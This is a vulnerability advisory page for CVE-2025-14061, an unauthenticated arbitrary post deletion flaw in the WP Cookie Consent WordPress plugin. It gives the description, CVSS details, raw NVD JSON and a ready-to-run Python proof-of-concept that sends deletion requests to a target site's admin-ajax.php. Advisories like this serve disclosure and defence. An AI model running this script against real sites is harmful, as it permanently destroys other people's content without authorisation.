Security Vulnerability Report
中文
CVE-2025-14061 CVSS 5.3 MEDIUM

CVE-2025-14061

Published: 2025-12-17 07:15:59
Last Modified: 2026-04-15 00:35:42

Description

The Cookie Banner, Cookie Consent, Consent Log, Cookie Scanner, Script Blocker (for GDPR, CCPA & ePrivacy) : WP Cookie Consent plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check on the gdpr_delete_policy_data function in all versions up to, and including, 4.0.7. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, attachments, and other post types by ID.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Cookie Consent (GDPR Cookie Consent) 插件 < 4.0.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys ''' CVE-2025-14061 PoC - WP Cookie Consent Unauthenticated Arbitrary Post Deletion Description: Missing capability check in gdpr_delete_policy_data function allows unauthenticated attackers to permanently delete arbitrary posts/pages. Author: Security Research Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/866b4ca8-563f-4a19-bbf7-79a79f07d53d ''' def delete_post(target_url, post_id, proxies=None): """ Delete arbitrary post/page without authentication Args: target_url: Target WordPress site URL (e.g., https://example.com) post_id: ID of post/page/attachment to delete proxies: Optional proxy configuration """ # Construct AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Determine the AJAX action name - typically 'gdpr_delete_policy_data' # The actual action name should be extracted from plugin source code action_name = 'gdpr_delete_policy_data' # Prepare POST data data = { 'action': action_name, 'post_id': post_id } try: print(f"[*] Sending deletion request for post ID: {post_id}") response = requests.post( ajax_url, data=data, proxies=proxies, timeout=30, verify=False ) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2025-14061.py <target_url> <post_id>") print("Example: python cve-2025-14061.py https://victim.com 123") sys.exit(1) target = sys.argv[1] post_id = sys.argv[2] delete_post(target, post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14061", "sourceIdentifier": "[email protected]", "published": "2025-12-17T07:15:58.623", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cookie Banner, Cookie Consent, Consent Log, Cookie Scanner, Script Blocker (for GDPR, CCPA & ePrivacy) : WP Cookie Consent plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check on the gdpr_delete_policy_data function in all versions up to, and including, 4.0.7. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, attachments, and other post types by ID."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gdpr-cookie-consent/tags/4.0.6/admin/class-gdpr-cookie-consent-admin.php#L8091", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gdpr-cookie-consent/tags/4.0.6/admin/class-gdpr-cookie-consent-admin.php#L8878", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/866b4ca8-563f-4a19-bbf7-79a79f07d53d?source=cve", "source": "[email protected]"}]}}